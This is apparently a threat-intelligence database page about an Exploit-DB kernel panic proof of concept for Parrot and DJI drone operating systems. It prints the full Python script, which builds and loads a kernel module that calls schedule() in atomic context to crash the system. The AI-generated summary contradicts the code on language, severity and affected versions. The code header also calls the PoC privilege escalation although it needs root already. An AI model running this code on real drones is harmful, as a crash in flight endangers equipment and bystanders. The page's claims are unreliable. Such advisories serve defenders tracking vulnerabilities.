Parrot and DJI variants Drone OSes - Kernel Panic Exploit
Parrot and DJI variants Drone OSes - Kernel Panic Exploit
AI Analysis
Technical Summary
The threat involves a kernel panic exploit targeting the operating systems used by Parrot and DJI drone variants. Kernel panic refers to a critical failure within the kernel—the core component of an operating system—that forces the system to halt to prevent damage or data corruption. This exploit leverages vulnerabilities in the drone OS kernel to trigger such a panic, causing the drone's operating system to crash unexpectedly. The exploit is local, meaning it requires access to the drone's system either physically or through an established local connection. The presence of exploit code written in C indicates a low-level attack, likely interacting directly with kernel components or drivers. While specific affected versions are not listed, the exploit targets the proprietary OSes of two major drone manufacturers, Parrot and DJI, which are widely used in both consumer and professional contexts. The exploit does not require user interaction beyond local access, and no authentication requirements are specified, suggesting that once local access is obtained, the attacker can execute the exploit to disrupt drone operations. The absence of known exploits in the wild indicates this is a newly disclosed vulnerability, but the availability of exploit code on Exploit-DB suggests potential for rapid weaponization. The exploit's medium severity rating reflects its disruptive potential balanced against the requirement for local access and the lack of remote exploitation capabilities.
Potential Impact
For European organizations, especially those relying on Parrot and DJI drones for commercial, industrial, or governmental operations, this exploit poses a significant risk to operational continuity. Kernel panics can cause drones to crash or become unresponsive, leading to mission failures, loss of expensive equipment, or safety hazards in populated areas. Critical sectors such as agriculture, infrastructure inspection, emergency response, and security services that utilize these drones could face operational disruptions. Additionally, organizations involved in drone data collection or surveillance might experience data loss or integrity issues if the drone OS crashes during critical tasks. The local nature of the exploit limits remote attacks but raises concerns about insider threats or physical access vulnerabilities, particularly in environments where drones are deployed in unsecured or semi-public locations. Given the strategic importance of drones in European defense and security contexts, this exploit could also have implications for national security if adversaries exploit it to disable or disrupt drone operations.
Mitigation Recommendations
1. Implement strict physical security controls to prevent unauthorized local access to drones, including secure storage and transport protocols. 2. Monitor and restrict access to drone management interfaces and connected devices to minimize the risk of local exploitation. 3. Conduct regular firmware and OS integrity checks on drones to detect unauthorized modifications or signs of exploitation. 4. Collaborate with Parrot and DJI to obtain and apply any forthcoming patches or firmware updates addressing this kernel panic vulnerability. 5. Employ network segmentation and secure communication channels for drone control systems to reduce the risk of lateral movement if local access is compromised. 6. Train personnel on the risks of local exploits and enforce policies that limit the use of untrusted devices or software in proximity to drone systems. 7. Consider deploying intrusion detection systems capable of identifying abnormal drone behavior indicative of kernel panics or crashes.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Belgium, Sweden, Finland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-10 # Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M # CVE: CVE-2025-37928 # Type: Local Privilege Escalation / Kernel Panic # Platform: Linux-based drone OS (Parrot and DJI variants) # Author Country: Jordan # CVSS v3.1 Score: 7.3 (Important) # Weakness: CWE-284: Improper Access Control # Attack Vector: Local # User Interaction: None # Scope: Unchanged # Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic) # Exploit Code Maturity: Proof of Concept # Remediation Level: Official Fix Available # # Description: # This PoC triggers a kernel panic by calling schedule() inside an atomic context, # exploiting CVE-2025-37928 present in certain Linux kernels running on # Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems. # # Steps of exploitation: # 1. Check if running as root. # 2. Verify kernel version vulnerability. # 3. Detect drone type from system files. # 4. Build and load vulnerable kernel module. # 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context. # # Affected Drone Versions: # - Parrot QRD # - Parrot Alpha-M (DT) # - DJI QRD # - DJI Alpha-M (DT) # # ------------------------------------------------------------------------------ # Usage: # sudo python3 cve_2025_37928_tool.py [OPTIONS] # # Options: # --dry-run Run detection & build only (no module loading) # --force Force exploit even if kernel not detected as vulnerable # --cleanup-only Remove the kernel module without triggering panic # --verbose Enable detailed logging and debug output # --help Show usage information # # Examples: # sudo python3 cve_2025_37928_tool.py --dry-run # sudo python3 cve_2025_37928_tool.py # sudo python3 cve_2025_37928_tool.py --force # sudo python3 cve_2025_37928_tool.py --cleanup-only # # Warning: # This PoC causes an immediate kernel panic. # Use it ONLY in isolated and controlled environments (e.g., lab tests). # ------------------------------------------------------------------------------ import os import sys import subprocess import tempfile import argparse import shutil import platform MODULE_NAME = "cve_2025_37928_poc" C_FILENAME = MODULE_NAME + ".c" KO_FILENAME = MODULE_NAME + ".ko" KERNEL_MODULE_CODE = r''' #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/interrupt.h> #include <linux/sched.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("PoC Author"); MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic"); static void trigger_panic_tasklet(unsigned long data) { pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n"); schedule(); // This causes kernel panic } DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0); static int __init poc_init(void) { pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n"); tasklet_schedule(&my_tasklet); return 0; } static void __exit poc_exit(void) { tasklet_kill(&my_tasklet); pr_info("[CVE-2025-37928] PoC module unloaded\n"); } module_init(poc_init); module_exit(poc_exit); ''' MAKEFILE_CONTENT = f''' obj-m += {MODULE_NAME}.o all: \tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: \tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ''' def check_root(): if os.geteuid() != 0: print("[-] Must be run as root.") sys.exit(1) def detect_kernel(): version = platform.release() vulnerable_versions = ["5.10", "5.15", "6.0"] vulnerable = any(v in version for v in vulnerable_versions) print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}") return vulnerable def detect_drone_type(): print("[*] Detecting drone type...") files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"] found = [] for path in files: if os.path.exists(path): try: with open(path, "r") as f: content = f.read().strip() if any(x in content for x in ["Parrot", "DJI"]): found.append(content) except: continue if found: for d in found: print(f" [i] Found: {d}") else: print(" [!] No drone ID found.") return found def write_module(tempdir): c_path = os.path.join(tempdir, C_FILENAME) makefile_path = os.path.join(tempdir, "Makefile") with open(c_path, "w") as f: f.write(KERNEL_MODULE_CODE) with open(makefile_path, "w") as f: f.write(MAKEFILE_CONTENT) return c_path def build_module(tempdir): print("[*] Building module...") result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True) if result.returncode != 0: print("[-] Build failed:\n", result.stderr) sys.exit(1) print("[+] Build successful.") return os.path.join(tempdir, KO_FILENAME) def load_module(ko_path): print("[*] Loading kernel module...") result = subprocess.run(["insmod", ko_path], capture_output=True, text=True) if result.returncode != 0: print("[-] insmod failed:\n", result.stderr) sys.exit(1) print("[!] Module loaded. Kernel panic should occur if vulnerable.") def unload_module(): print("[*] Attempting to remove module...") subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL) print("[+] Module removal attempted.") def clean_build(tempdir): subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def main(): parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes") parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation") parser.add_argument("--force", action="store_true", help="Force execution even if version unknown") parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded") args = parser.parse_args() check_root() if args.cleanup_only: unload_module() return vulnerable = detect_kernel() detect_drone_type() if not vulnerable and not args.force: print("[-] Kernel not identified as vulnerable. Use --force to override.") sys.exit(1) if args.dry_run: print("[*] Dry run mode. Exiting before exploitation.") return with tempfile.TemporaryDirectory() as tempdir: print(f"[*] Working directory: {tempdir}") write_module(tempdir) ko_path = build_module(tempdir) try: load_module(ko_path) except KeyboardInterrupt: print("[!] Interrupted. Attempting cleanup...") finally: unload_module() clean_build(tempdir) if __name__ == "__main__": main()
Parrot and DJI variants Drone OSes - Kernel Panic Exploit
Description
Parrot and DJI variants Drone OSes - Kernel Panic Exploit
AI-Powered Analysis
Technical Analysis
The threat involves a kernel panic exploit targeting the operating systems used by Parrot and DJI drone variants. Kernel panic refers to a critical failure within the kernel—the core component of an operating system—that forces the system to halt to prevent damage or data corruption. This exploit leverages vulnerabilities in the drone OS kernel to trigger such a panic, causing the drone's operating system to crash unexpectedly. The exploit is local, meaning it requires access to the drone's system either physically or through an established local connection. The presence of exploit code written in C indicates a low-level attack, likely interacting directly with kernel components or drivers. While specific affected versions are not listed, the exploit targets the proprietary OSes of two major drone manufacturers, Parrot and DJI, which are widely used in both consumer and professional contexts. The exploit does not require user interaction beyond local access, and no authentication requirements are specified, suggesting that once local access is obtained, the attacker can execute the exploit to disrupt drone operations. The absence of known exploits in the wild indicates this is a newly disclosed vulnerability, but the availability of exploit code on Exploit-DB suggests potential for rapid weaponization. The exploit's medium severity rating reflects its disruptive potential balanced against the requirement for local access and the lack of remote exploitation capabilities.
Potential Impact
For European organizations, especially those relying on Parrot and DJI drones for commercial, industrial, or governmental operations, this exploit poses a significant risk to operational continuity. Kernel panics can cause drones to crash or become unresponsive, leading to mission failures, loss of expensive equipment, or safety hazards in populated areas. Critical sectors such as agriculture, infrastructure inspection, emergency response, and security services that utilize these drones could face operational disruptions. Additionally, organizations involved in drone data collection or surveillance might experience data loss or integrity issues if the drone OS crashes during critical tasks. The local nature of the exploit limits remote attacks but raises concerns about insider threats or physical access vulnerabilities, particularly in environments where drones are deployed in unsecured or semi-public locations. Given the strategic importance of drones in European defense and security contexts, this exploit could also have implications for national security if adversaries exploit it to disable or disrupt drone operations.
Mitigation Recommendations
1. Implement strict physical security controls to prevent unauthorized local access to drones, including secure storage and transport protocols. 2. Monitor and restrict access to drone management interfaces and connected devices to minimize the risk of local exploitation. 3. Conduct regular firmware and OS integrity checks on drones to detect unauthorized modifications or signs of exploitation. 4. Collaborate with Parrot and DJI to obtain and apply any forthcoming patches or firmware updates addressing this kernel panic vulnerability. 5. Employ network segmentation and secure communication channels for drone control systems to reduce the risk of lateral movement if local access is compromised. 6. Train personnel on the risks of local exploits and enforce policies that limit the use of untrusted devices or software in proximity to drone systems. 7. Consider deploying intrusion detection systems capable of identifying abnormal drone behavior indicative of kernel panics or crashes.
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Technical Details
- Edb Id
- 52329
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Parrot and DJI variants Drone OSes - Kernel Panic Exploit
#!/usr/bin/env python3 # Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-10 # Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M # CVE: CVE-2025-37928 # Type: Local Privilege Escalation / Kernel Panic # Platform: Linux-based drone OS (Parrot and DJI variants) # Author Country: Jordan # CVSS v3.1 Score: 7.3 (Important) # Weakness: CWE-284: Imp... (6715 more characters)
Threat ID: 684fad5ba8c921274383b105
Added to database: 6/16/2025, 5:36:27 AM
Last enriched: 6/16/2025, 5:38:05 AM
Last updated: 6/16/2025, 12:52:43 PM
Views: 4
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